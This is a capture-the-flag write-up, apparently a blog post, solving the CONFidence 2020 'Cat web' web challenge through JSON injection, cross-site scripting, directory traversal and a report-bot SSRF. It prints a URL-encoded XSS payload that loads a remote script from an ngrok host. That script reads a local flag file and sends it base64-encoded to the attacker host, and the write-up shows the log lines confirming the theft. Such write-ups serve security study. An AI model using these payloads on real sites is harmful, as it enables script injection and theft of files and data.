Confidence CTF 2020 `Cat web` challenge writeup




[*]-challenges
    [+] (157 pts) Cat web

Our Team Invaders ended up at 59th position
in `CONFidence 2020 CTF` conducted by `p4 team`.
The `Cat web challenge` was pretty interesting
without any guess and chaining all together to achieve flag etc,
which made me to write this Writeup.

Cat Web

A service running at `http://catweb.zajebistyc.tf/`
<html>
 <head>
  <title>My cats</title>
 <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
 <script>
  function getNewCats(kind) {
   $.getJSON('http://catweb.zajebistyc.tf/cats?kind='+kind, function(data) {
    if(data.status != 'ok')
    {
     return;
    }
    $('#cats_container').empty();
    cats = data.content;
    cats.forEach(function(cat) {
     var newDiv = document.createElement('div');
     newDiv.innerHTML = '<img style="max-width: 200px; max-height: 200px" src="static/'+kind+'/'+cat+'" />';
     $('#cats_container').append(newDiv);
    });
   });

  }
  $(document).ready(function() {
   $('#cat_select').change(function() {
    var kind = $(this).val();
    history.pushState({}, '', '?'+kind)
    getNewCats(kind);
   });
   var kind = window.location.search.substring(1);
   if(kind == "")
   {
    kind = 'black';
   }
   getNewCats(kind);
  });
 </script>
 </head>
 <body>
  <select id="cat_select">
   <option value="black">black</option>
   <option value="grey">grey</option>
   <option value="red">red</option>
   <option value="white">white</option>
  </select>
  <div id="cats_container"></div>
  not like sumthing? send it <a href="/report">hier</a>
 </body>
</html>
Functionality: images of cats are grabbed based on kind value (kind of cats)
the kind of cats are grabbed from select option or from query (on page load)
Then the cat images related to that kind are grabbed from http://catweb.zajebistyc.tf/cats?kind=grey returns a json
$ curl http://catweb.zajebistyc.tf/cats?kind=grey
{"status": "ok", "content": ["1554866661126960529.jpg", "lJCNA_JC_400x400.jpg", "1.jpg", "1548178639131425422.jpg"]}
$ 


Observation - 1

There is a report functionality(http://catweb.zajebistyc.tf/report), a chance for ssrf . Needed an xss through url.
There is no url check for url being visited.
The images in content of json request are placed without sanitizing for html
newDiv.innerHTML = '<img style="max-width: 200px; max-height: 200px" src="static/'+kind+'/'+cat+'" />';


Observation - 2

fishy at cat's listing json endpoint
on search Success
$ curl http://catweb.zajebistyc.tf/cats?kind=grey
{"status": "ok", "content": ["1554866661126960529.jpg", "lJCNA_JC_400x400.jpg", "1.jpg", "1548178639131425422.jpg"]}
$ 
on search Error
$ curl 'http://catweb.zajebistyc.tf/cats?kind=aaa"'
{"status": "error", "content": "aaa" could not be found"}
$ 
The search term is reflected back into json without sanitization. We have an json injection. By overidding the status & content values we can achieve xss by injecting out js file.

Observation - 3

Crafted a Payload :
", "content": ["\"><script src='https://63700160.ngrok.io/static/xss.js'></script>"], "status": "ok", "a": "
URL :
http://catweb.zajebistyc.tf/?%22%2C%20%22content%22%3A%20%5B%22%5C%22%3E%3Cscript%20src%3D%27https%3A%2F%2F63700160.ngrok.io%2Fstatic%2Fxss.js%27%3E%3C%2Fscript%3E%22%5D%2C%20%22status%22%3A%20%22ok%22%2C%20%22a%22%3A%20%22
Tried SSRF using (report + xss) searched for cookies , sessionStorage, content . But no use :(
Something is missing.

Observation - 4

The images are loaded as static/kind/cat, the kind is the folder name, so tried directory listing on http://catweb.zajebistyc.tf/cats?kind=grey ==> Boom
$ curl http://catweb.zajebistyc.tf/cats?kind=..
{"status": "ok", "content": ["prestart.sh", "uwsgi.ini", "main.py", "templates", "static", "app.py"]}
$ 
By traversing through directories finally got
file:///app/templates/index.html index page which have xss
file:///app/templates/flag.txt


Observation - 5

We need to read the file:///app/templates/flag.txt from browser. CORS matters :(
But the http://catweb.zajebistyc.tf/ is an static page so there is no difference between http://catweb.zajebistyc.tf/ and file:///app/templates/index.html.
What about the http://catweb.zajebistyc.tf/cats?kind=xxx request by js which is main for everything (xss).
Checked that route for cross origin request worked . Boom

Finally

By combining all
SSRF URL :
file:///app/templates/index.html?%22%2C%20%22content%22%3A%20%5B%22%5C%22%3E%3Cscript%20src%3D%27https%3A%2F%2F63700160.ngrok.io%2Fstatic%2Fxss.js%27%3E%3C%2Fscript%3E%22%5D%2C%20%22status%22%3A%20%22ok%22%2C%20%22a%22%3A%20%22
External JS :
fetch('file:///app/templates/flag.txt').then(response => response.text()).then((response) => {window.location = 'https://63700160.ngrok.io/xxx?a=' + (btoa(response) || 'No Value')});
All together :
127.0.0.1 - - [16/Mar/2020 00:35:27] "GET /static/xss.js HTTP/1.1" 200 -
127.0.0.1 - - [16/Mar/2020 00:35:28] "GET /xxx?a=cDR7Y2FuX2lfaGF6X2FfcGllY2Vfb2ZfZmxhZ19wbGl6P30K HTTP/1.1" 404 -
Flag : p4{can_i_haz_a_piece_of_flag_pliz?}


Comments

Popular posts from this blog

Tokyo Westerns CTF 2020 - writeups.

Alles CTF 2020 Writeups